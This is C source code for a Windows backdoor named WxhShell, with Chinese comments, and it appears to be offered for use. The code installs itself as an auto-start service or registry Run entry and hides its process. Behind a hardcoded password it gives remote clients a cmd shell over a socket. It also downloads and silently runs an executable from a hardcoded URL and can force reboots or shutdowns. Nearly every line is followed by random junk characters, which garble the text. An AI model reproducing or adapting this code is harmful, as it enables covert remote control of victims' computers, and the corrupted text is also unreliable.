    if(Boot(SHUTDOWN)) qe<Hfp/p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OZf6/10O/  
    else { OVZP x%a  
    closesocket(wsh); D93gH1z  
    ExitThread(0); U9 #w  
    } *Ddi(`  
    break; |jsb@  
    } *7ZtNo[+  
  // 获取shell 9YD\~v;x  
  case 's': { nob0T5G  
    CmdShell(wsh); V C-d0E0  
    closesocket(wsh); L_~8"I_  
    ExitThread(0); V4|uas{0I:  
    break; ,[* ;UR  
  } V,Q4n%h1.  
  // 退出 J? .F\`N)  
  case 'x': { @ &pqt6/t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?^}_j vT  
    CloseIt(wsh); &n:{x}Uc  
    break; 7VAJJv3  
    } 2Q@Y^t   
  // 离开 z8"7u /4v{  
  case 'q': { X %4Kj[I^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vQ1 v# Z  
    closesocket(wsh); Qs%B'9")  
    WSACleanup(); 5wv fF.v  
    exit(1); rQb7?O@-  
    break; t0Mx!p'T  
        } T7[NcZ:I  
  } 2%]Z Kd  
  } 6@V~0DG  
[ c~kF+8  
  // 提示信息  U>a\j2I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cE\>f8 I  
} 36vgX=}  
  } UE.4q Y_7  
]JXKZV8$0  
  return; ,[e\cnq[  
} l1'6cLT`  
`\CVV*hP  
// shell模块句柄 vUesV%9hq  
int CmdShell(SOCKET sock) .4-,_`T?  
{ nB5zNyY4  
STARTUPINFO si; =5x&8i  
ZeroMemory(&si,sizeof(si)); c{Ou^.yR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }D;WN@],  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KzV 2MO-$  
PROCESS_INFORMATION ProcessInfo; [{ ~TcT  
char cmdline[]="cmd"; oD.r `]k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ii &7rdoxe  
  return 0; = 1.9/hW  
} VIJ<``9[  
t0)<$At6J  
// 自身启动模式 eOI (6U!  
int StartFromService(void) V[nQQxWp=  
{ bZ1 78>J]  
typedef struct aZ|=(]  
{ t2BL( yB  
  DWORD ExitStatus; T~:|!`  
  DWORD PebBaseAddress; x@Hd^xH`  
  DWORD AffinityMask; 6 GP p>X  
  DWORD BasePriority; PjA6Ji;Hu  
  ULONG UniqueProcessId; ^z6_Uw[  
  ULONG InheritedFromUniqueProcessId; Rp7ntI:  
}   PROCESS_BASIC_INFORMATION; O3DmNq$dz  
a ] =  
PROCNTQSIP NtQueryInformationProcess; +l3=3  
Ig]iT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `K~AhlJUQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~vlype3/EF  
)WT>@  
  HANDLE             hProcess; JM1R ;i6  
  PROCESS_BASIC_INFORMATION pbi; ; bHV  
EF3Cdu{]P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nWQ;9_qBB  
  if(NULL == hInst ) return 0; *HEuorl  
sBrI}[oyx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V,rq0xW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T^J>ZDA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y%`xDI  
jck}" N  
  if (!NtQueryInformationProcess) return 0; Xd^\@  
orOt>5}b<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i[wb0yL  
  if(!hProcess) return 0; _6 ay-u  
;2B{9{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Q_SRwN  
ZXm/A0)S  
  CloseHandle(hProcess); Um&(&?Xf  
e=O,B8)_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L:@7tc.  
if(hProcess==NULL) return 0; ~NW32 O)/  
g<~Cpd  
HMODULE hMod; j~*L~7  
char procName[255]; w*R$o  
unsigned long cbNeeded; B(M6@1m_  
uu`G 2[t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Iq/l%vX  
Z?\>JM >;  
  CloseHandle(hProcess); 5LOo8xN  
o"*AtGR+"  
if(strstr(procName,"services")) return 1; // 以服务启动 |P%Jw,}]9  
=Q\r?(Iy  
  return 0; // 注册表启动 s_mS^`P7  
} S\;V4@<Kn  
RsYU59_Y  
// 主模块 %f]:I  
int StartWxhshell(LPSTR lpCmdLine) -,U3fts  
{ <)3u6Vky9  
  SOCKET wsl; ( SvWv m  
BOOL val=TRUE; >rf'-X4n  
  int port=0; Y=Kc'x[,Zj  
  struct sockaddr_in door; jbAx;Xt'=M  
pej|!oX  
  if(wscfg.ws_autoins) Install(); MjU6/pO}L  
Ig f&l`\  
port=atoi(lpCmdLine);  a24"yT  
%rv7Jy   
if(port<=0) port=wscfg.ws_port; adR)Uq9  
_WRFsDZ'  
  WSADATA data; a*&B`77`|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0.@&_XTPl  
Rd#WMo2Xd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N(Tz%o4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %4gg@Z9  
  door.sin_family = AF_INET; ~GZY5HF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 85LAY aw  
  door.sin_port = htons(port); 0E3[N:s  
N u<_}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;;#qmGoE  
closesocket(wsl);  @fl-3q  
return 1; 73/P&hT  
} SMpH._VFeE  
_I:/ZF5  
  if(listen(wsl,2) == INVALID_SOCKET) { =\H!GT  
closesocket(wsl); u=`L )  
return 1; (pv+c,  
} $\X[@E S0  
  Wxhshell(wsl); xHD=\,{ig  
  WSACleanup(); &E.^jR~*  
uM_wjP  
return 0; K<>oa[B9  
6\g cFfo  
} i OW#>66d  
NQJq6S4@  
// 以NT服务方式启动 ahJ`$U4n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3=aQG'B  
{ Nn!+,;ut  
DWORD   status = 0; %C| n9*  
  DWORD   specificError = 0xfffffff; ~?d Nd  
y1dDO2mA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (|klSz_4LM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <G|(|E1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /|C*  
  serviceStatus.dwWin32ExitCode     = 0; Rwz0poG`WG  
  serviceStatus.dwServiceSpecificExitCode = 0; H[,i{dD  
  serviceStatus.dwCheckPoint       = 0; %A1o.{H  
  serviceStatus.dwWaitHint       = 0; |}BL F  
&"&Z #llb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qz5sxi  
  if (hServiceStatusHandle==0) return; ^c-  
cW@Zd5&0S  
status = GetLastError(); -GhP9; d  
  if (status!=NO_ERROR) ,|y:" s  
{ 1OCeN%4]Qk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [>8}J "  
    serviceStatus.dwCheckPoint       = 0; RJ  8+h  
    serviceStatus.dwWaitHint       = 0; >3_jWFq  
    serviceStatus.dwWin32ExitCode     = status; ,(d) Qg  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Ypc`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}F&1Z  
    return; ZSjMH .Ij"  
  } Ugu[|,  
{o_X`rgrL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rdvk ml@@  
  serviceStatus.dwCheckPoint       = 0; = RA /  
  serviceStatus.dwWaitHint       = 0; O#:$^#j&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @XLy7_}  
} .7e2YI,S  
Aw$x;3y  
// 处理NT服务事件,比如:启动、停止 `^u>9v-+'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @L<*9sLWh  
{ v- T$:cL  
switch(fdwControl) ]zj9A]i:a  
{ ciBP7>'::  
case SERVICE_CONTROL_STOP: nzd2zY>V  
  serviceStatus.dwWin32ExitCode = 0; G_;)a]v8)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GPkmf%FJ  
  serviceStatus.dwCheckPoint   = 0; -I*^-+>H  
  serviceStatus.dwWaitHint     = 0; Y2a5bc P  
  { .`HYA*8_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .L9j>iP9 *  
  } t[ubn+  
  return; EN$2,qf  
case SERVICE_CONTROL_PAUSE: {P*pk c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RN$1bxY  
  break; QQ%D8$k"  
case SERVICE_CONTROL_CONTINUE: nxUJN1b!N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +c(zo4nZ  
  break; {@eJtF+2  
case SERVICE_CONTROL_INTERROGATE: Ov 5"  
  break; -}nxJH)  
}; S=5<^o^h3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v25R_""~  
} ;nep5!s;<  
VPO N-{=`  
// 标准应用程序主函数 ]JCvyz H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sF|5XjQ  
{ &M46&^Jho  
(KFCs^x7wG  
// 获取操作系统版本 (61EDKNd9  
OsIsNt=GetOsVer(); -8; 7Sp1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I KqQ>Z-q~  
 3L< wQ(  
  // 从命令行安装 `P@T$bC  
  if(strpbrk(lpCmdLine,"iI")) Install(); @W s*QTlV  
k3u "A_"c  
  // 下载执行文件 SG6kud\b  
if(wscfg.ws_downexe) { '10oK {m$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [BWNRC1  
  WinExec(wscfg.ws_filenam,SW_HIDE); gW^VVbB'L  
} ~<O7$~  
48:>NW  
if(!OsIsNt) { @JtM5qB  
// 如果时win9x,隐藏进程并且设置为注册表启动 )k\H@Dy%$  
HideProc(); wfNk=)^$  
StartWxhshell(lpCmdLine); k,85Y$`'  
} mtJ9nC  
else + ,%&e  
  if(StartFromService()) `);AW(Q  
  // 以服务方式启动 xAK6pDp  
  StartServiceCtrlDispatcher(DispatchTable); R@/"B8H  
else ABQa 3{v  
  // 普通方式启动 v>$'iT~l  
  StartWxhshell(lpCmdLine); <D:.(AUeO  
ZG>PQA  
return 0; G f,`  
} %6t2ohO"  
P#R R9>Q  
zfc'=ODX  
xfpa]Z  
=========================================== >d,jKlh^.%  
6{"$nF]  
<QA6/Ef7  
ePr&!Tz#  
/LvRP yj@  
$* AYcy7  
" eZSNNgD<:  
4?ICy/,U-  
#include <stdio.h> YpH&<$x:  
#include <string.h> %K>,xiD)  
#include <windows.h> "Q!(52_@J  
#include <winsock2.h> lBK}VU^  
#include <winsvc.h> p^Ak1qm~e  
#include <urlmon.h> jF0jkj1&/[  
xD5:RE~g  
#pragma comment (lib, "Ws2_32.lib") =h0,?]z  
#pragma comment (lib, "urlmon.lib") >+JqA7K  
;nodjbr,j  
#define MAX_USER   100 // 最大客户端连接数 ;5zz<;Zy  
#define BUF_SOCK   200 // sock buffer N>XS=2tzN  
#define KEY_BUFF   255 // 输入 buffer znxnL,-  
Y"~gw~7OD  
#define REBOOT     0   // 重启 +3BBQ+x!  
#define SHUTDOWN   1   // 关机 ]^lw*724'>  
]L9s%]o  
#define DEF_PORT   5000 // 监听端口 Bwa'`+bC  
>4#)r8;dx  
#define REG_LEN     16   // 注册表键长度 ,cB\  
#define SVC_LEN     80   // NT服务名长度 vRs,zL$W  
d/[; `ZD+  
// 从dll定义API do*EKo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <kGU,@6PF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q1Q L@Ax  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IFF92VD&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ujlY! -GM  
&3bx `C  
// wxhshell配置信息 bYEy<7)x  
struct WSCFG { {so `/EWa  
  int ws_port;         // 监听端口 P*FMwrJj>r  
  char ws_passstr[REG_LEN]; // 口令 {ys=Ndo8  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]j`c]2EuP  
  char ws_regname[REG_LEN]; // 注册表键名 d@5[B0eH  
  char ws_svcname[REG_LEN]; // 服务名 U)E(`{p]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bgK'{_o-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1JztFix  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^pQCNKLBY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no thifRd$4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aqj@Cjk4Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c_vqL$Dl  
xlA$:M&  
}; [8T^@YN  
I'uSp-Sfy  
// default Wxhshell configuration VXR>]HUF  
struct WSCFG wscfg={DEF_PORT, j2QmxTa!  
    "xuhuanlingzhe", YVHm{A1b0  
    1, b[o"7^H  
    "Wxhshell", 3'cE\u  
    "Wxhshell", e[&L9U6GW-  
            "WxhShell Service", 8W,Jh8N6  
    "Wrsky Windows CmdShell Service", 5N/%v&1  
    "Please Input Your Password: ", 3|'>`!hb  
  1, `$W_R[  
  "http://www.wrsky.com/wxhshell.exe", Bq D'8zLD  
  "Wxhshell.exe" mi,E-  
    }; VQ7*Z5[1  
Z -W(l<  
// 消息定义模块 Kx;eaz:gx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |mGFts}0o'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jRJn+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e?JW   
char *msg_ws_ext="\n\rExit."; uRZZxZ  
char *msg_ws_end="\n\rQuit."; a&c6.#E{y  
char *msg_ws_boot="\n\rReboot..."; 4 QvsBpz@  
char *msg_ws_poff="\n\rShutdown..."; KKiE@_z  
char *msg_ws_down="\n\rSave to "; nxWY7hU  
9~]~#Uj  
char *msg_ws_err="\n\rErr!"; ]n_ k`  
char *msg_ws_ok="\n\rOK!"; =cm~vDl[  
`*_mP<Ag  
char ExeFile[MAX_PATH]; PIu1+k.r?  
int nUser = 0; 1(I6.BHW  
HANDLE handles[MAX_USER]; ow_W%I=6  
int OsIsNt; JtEo'As:[  
lI*o@wQg  
SERVICE_STATUS       serviceStatus; M>~Drul  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }<@b=_>S  
jL%x7?*U0  
// 函数声明 &PYK8}pBk3  
int Install(void); bwD,YC  
int Uninstall(void); \m(VdE  
int DownloadFile(char *sURL, SOCKET wsh); gy#/D& N[  
int Boot(int flag); gW>uR3Ca4  
void HideProc(void); x=b7':nQ  
int GetOsVer(void); =t9\^RIx)?  
int Wxhshell(SOCKET wsl); 8$6Y{$&C  
void TalkWithClient(void *cs); *=]&&<  
int CmdShell(SOCKET sock); H*ow\ Ct  
int StartFromService(void); v!<gY m&  
int StartWxhshell(LPSTR lpCmdLine); M?Dfu .t  
A mNW0.}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ok!L.ac  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . $BUw  
-:|?h{q?u  
// 数据结构和表定义 "P 7nNa  
SERVICE_TABLE_ENTRY DispatchTable[] = _FpTFfB  
{ 06O2:5zF  
{wscfg.ws_svcname, NTServiceMain}, SxOC1+Oy  
{NULL, NULL} Z/k:~%|E  
}; OGK}EI  
~Sj9GxTe  
// 自我安装 i,>khc  
int Install(void) O(fM?4w  
{  6:b! F  
  char svExeFile[MAX_PATH]; 8(pp2rlR  
  HKEY key; 9s\A\$("l  
  strcpy(svExeFile,ExeFile); tSc Pa,(  
+R3k-' >  
// 如果是win9x系统,修改注册表设为自启动 ?zh9d%R  
if(!OsIsNt) { (}Z@R#njH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1oR7iD^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K"|l@Q[  
  RegCloseKey(key); 4!Fo$9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X <f8,n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |2O]R s  
  RegCloseKey(key); (SpX w,:  
  return 0; -`'I{g&A  
    } jyZ  (RB  
  } J1( 9QN[w  
} dBYmiF!+  
else { |XQIfW]A  
k.uH~S_  
// 如果是NT以上系统,安装为系统服务 ~ksi</s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dq(uVW^&ae  
if (schSCManager!=0) .YhA@8nc~l  
{ s^Y"'`+  
  SC_HANDLE schService = CreateService Sdp&jZY  
  ( vx>b^tJKC  
  schSCManager, |,S+@"0#  
  wscfg.ws_svcname, Lt u'W22  
  wscfg.ws_svcdisp, }tRm]w  
  SERVICE_ALL_ACCESS, Oxm>c[R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i6^twK)j  
  SERVICE_AUTO_START, zBCtd1Xrni  
  SERVICE_ERROR_NORMAL, eWCb73  
  svExeFile, c23oCfB>  
  NULL, L{X_^  
  NULL, [)H&'5 +F  
  NULL, v:IpMU-+\  
  NULL, B^1>PE  
  NULL n`#tKwWHYx  
  ); ;y,5k?  
  if (schService!=0) I@T8Iv=  
  { WA5&# kg\  
  CloseServiceHandle(schService); ,BH@j%Jmy  
  CloseServiceHandle(schSCManager); +[M6X} TQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o)h_H;  
  strcat(svExeFile,wscfg.ws_svcname); Z?6%;n^ 54  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5&QJ7B,!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `tB gH_$M  
  RegCloseKey(key); /kE6@  
  return 0; 3DzMB?I  
    } xe]y]  
  } `nUXDmdwzO  
  CloseServiceHandle(schSCManager); d?ex,f.  
} zZ7;jyD  
} @ju@WY45$^  
0@[$lv;OS  
return 1; pM+ AjPr  
} \MA+f~)9  
lNy.g{2f<m  
// 自我卸载 c?tBi9'Y]  
int Uninstall(void) .7Dtm<K#  
{ i5en*)O8  
  HKEY key; l}a)ZeR1  
riUwBiVa?2  
if(!OsIsNt) { s(5Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +O"!qAiK  
  RegDeleteValue(key,wscfg.ws_regname); rxe >}ZO  
  RegCloseKey(key); fFMlDg[];  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R] vV*  
  RegDeleteValue(key,wscfg.ws_regname); HU1h8E$-  
  RegCloseKey(key); &T+atL`N  
  return 0; Pj[PIz  
  } viW!,QQ(S  
} AV:h BoO  
} `n.5f[wC  
else { i/65v  
_ q(ko/T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cpe+XvBuK  
if (schSCManager!=0) HD@$t)mn  
{ ]jtK I4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g%ndvdb m  
  if (schService!=0) ]S&&|Fc  
  {  j?A/#  
  if(DeleteService(schService)!=0) { ls?~+\Jb  
  CloseServiceHandle(schService); "$~':) V"  
  CloseServiceHandle(schSCManager); 6|K5!2  
  return 0; xj<Rp|7&  
  } _- [''(E  
  CloseServiceHandle(schService); &)YQvTzs  
  } P#E&|n7DT  
  CloseServiceHandle(schSCManager); [8.c8-lZ^  
} '@cANGg7[  
} &X`C%h  
2;[D;Y}  
return 1; %OtFHhb  
} QgrpBG  
KLU-DCb%  
// 从指定url下载文件 b}OY4~ Y4  
int DownloadFile(char *sURL, SOCKET wsh) K#l:wH _  
{ Y_Eb'*PY  
  HRESULT hr; `Y+J-EQ  
char seps[]= "/"; \K_ET> !  
char *token; (ScxLf=]  
char *file; -B>++r2A^  
char myURL[MAX_PATH]; yID 164&r  
char myFILE[MAX_PATH]; jL y  
2{M^,=^>  
strcpy(myURL,sURL); .v]IJfRH*  
  token=strtok(myURL,seps); 'QG xd!4  
  while(token!=NULL) lackB2J9 A  
  { iF*:d  
    file=token; B6=ebM`q  
  token=strtok(NULL,seps); :KH g&ZX7  
  } he#J|p  
pEw"8U  
GetCurrentDirectory(MAX_PATH,myFILE); ke{8 ^X~#  
strcat(myFILE, "\\"); uzXCIv@  
strcat(myFILE, file); 9*$t!r{B@  
  send(wsh,myFILE,strlen(myFILE),0); SD#]$v  
send(wsh,"...",3,0); @)IjNplYkw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OL5v).Bb  
  if(hr==S_OK) %/EVUN9=  
return 0; U T>s 5C  
else +_s #2  
return 1; t4{rb, }W  
-VZ-<\uH  
} &9/O!3p)  
>AC]#'  
// 系统电源模块 B! rTD5a  
int Boot(int flag) %mL-$*  
{ 85lCj-cs  
  HANDLE hToken; xrlmKSPa  
  TOKEN_PRIVILEGES tkp;  0,r}o  
\=+b}mKV m  
  if(OsIsNt) { vy_D>tp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !iH-#B-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =1O<E  
    tkp.PrivilegeCount = 1; d}LRl"_n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RG3l.jL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZIPl7tTw  
if(flag==REBOOT) { uum;q-"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0q.Ujm=,z  
  return 0; nt;haeJ  
} BYTnrPA&Z;  
else { '; =f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |u0( t,T  
  return 0; !:|TdYrmj  
} fGw^:,B  
  } X/z6"*(|/  
  else { UbEb&9}  
if(flag==REBOOT) { p/JL9@:'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U7!.,kR-  
  return 0; vo\fUT@k  
} K+Z+wA?  
else { :ml2.vP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u5 {JQO  
  return 0; rgSOS-ox  
} 1QcT$8HA  
} tp6M=MC%  
Eo\UAc  
return 1; %9k!A]KD  
} 2pzF5h  
<&&SX;  
// win9x进程隐藏模块 ,*&G1|_6  
void HideProc(void) uch>AuF:  
{ ZAJp%   
JC}f-%H?K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y4cYZS47  
  if ( hKernel != NULL ) ! iptT(2  
  { -6tgsfEr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VA"*6F   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !ALKSiSl  
    FreeLibrary(hKernel); j4>a(  
  } d~/q"r1"  
Kx. X7R  
return; ybeKiv9  
} yfj K2  
=/u% c!  
// 获取操作系统版本 *?z0$Kz<,[  
int GetOsVer(void) >_c5r?]SG  
{ Iq#ZhAk  
  OSVERSIONINFO winfo; |\dZ'   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < -uc."6\  
  GetVersionEx(&winfo); SG?Nsp^%`B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [U@ *1  
  return 1; ?_oF:*~\  
  else CW)Z[<d8  
  return 0; &O)&k  
} \":?xh_H  
hY*0aZ|(  
// 客户端句柄模块 QDTBWM%  
int Wxhshell(SOCKET wsl) zW}[+el }  
{ Fhv2V,nZ<  
  SOCKET wsh; >Jw6l0z  
  struct sockaddr_in client; 65oWD-  
  DWORD myID; Wxk x,q?  
\X F}?*8  
  while(nUser<MAX_USER) 8K;Y2 #  
{ jSOS}!=  
  int nSize=sizeof(client); \eGKkSy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g|Y] wd  
  if(wsh==INVALID_SOCKET) return 1; sow d`I~  
'JZJFE7Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v[TYc:L=  
if(handles[nUser]==0) BR v+.(S  
  closesocket(wsh); N7%TYs  
else ZUp\Ep}  
  nUser++; C{Asp  
  } e8h,,:l3j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =39 ?:VoD  
O lfn  
  return 0; p0{EQT`tMG  
} HPQ/~0$  
Z~6[ Z  
// 关闭 socket v8/6wy?  
void CloseIt(SOCKET wsh) |!H?+Jj:  
{ mPPk )qy  
closesocket(wsh); F52B~@ .  
nUser--; 9p@C4oen  
ExitThread(0); \OC6M` /  
} s$DrR  
6  P`)%zj  
// 客户端请求句柄 b[@V Ya  
void TalkWithClient(void *cs) .mL#6P!d3^  
{ _M,lQ~  
q (+ZwaV@  
  SOCKET wsh=(SOCKET)cs; 7OVbP%n)d2  
  char pwd[SVC_LEN]; 0_yP\m  
  char cmd[KEY_BUFF]; ;`v% sx#  
char chr[1]; K?u(1  
int i,j; Y\+KoR' ;  
YCy22@C  
  while (nUser < MAX_USER) { LS.r%:$mb  
0 nW F  
if(wscfg.ws_passstr) { .G>t72DpU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % *z-PT22  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gJ3c;  
  //ZeroMemory(pwd,KEY_BUFF); ?4z8)E9Ju  
      i=0; 6'OO-o  
  while(i<SVC_LEN) { kGN||h  
4B-yTyO  
  // 设置超时 b X)|MiWI  
  fd_set FdRead; :a3LS|W  
  struct timeval TimeOut; 7;LO2<|1  
  FD_ZERO(&FdRead); _qWC4NMF(  
  FD_SET(wsh,&FdRead); \ Aq;Q?  
  TimeOut.tv_sec=8; !0 Q8iW:  
  TimeOut.tv_usec=0; */OI *{Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W"hcaa,&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jm(ixekp  
FfMnul  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yu&Kh4AP  
  pwd=chr[0]; X QbNH~  
  if(chr[0]==0xd || chr[0]==0xa) { ;?IT)sNY  
  pwd=0; @qK<T  
  break; Ff"gadRXd  
  } tfiqr|z  
  i++; [@{0o+.]'H  
    } Q e1oT)  
MV+i{]  
  // 如果是非法用户,关闭 socket 5M?mYNQR/H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %!.M~5mCd  
} ZL%VOxYqi  
R]b! $6Lt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WOndE=(V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T!( 4QRh[  
rm+v(&  
while(1) { +cfziQ$'  
_J"mR]I+  
  ZeroMemory(cmd,KEY_BUFF); gM_:l  
rB]W,8~%  
      // 自动支持客户端 telnet标准   b>q6:=((  
  j=0; ySruAkw%  
  while(j<KEY_BUFF) { ~8Sqa%F>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2uu[52H8d%  
  cmd[j]=chr[0]; B!q?_[k,  
  if(chr[0]==0xa || chr[0]==0xd) { q]v,  
  cmd[j]=0; sX'U|)/pD  
  break; :{CFTc5:A  
  } +Hy4s[_|  
  j++; h=f6~5l5  
    } {a4xF2  
+#v4B?NR  
  // 下载文件 :c;_a-69  
  if(strstr(cmd,"http://")) { 5!:._TcO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >6K4b/.5w  
  if(DownloadFile(cmd,wsh)) 'jbMTI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` !kL1oUYE  
  else FuMq|S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z}f^qc+  
  } (6#M9XL  
  else { AFtCqq#[  
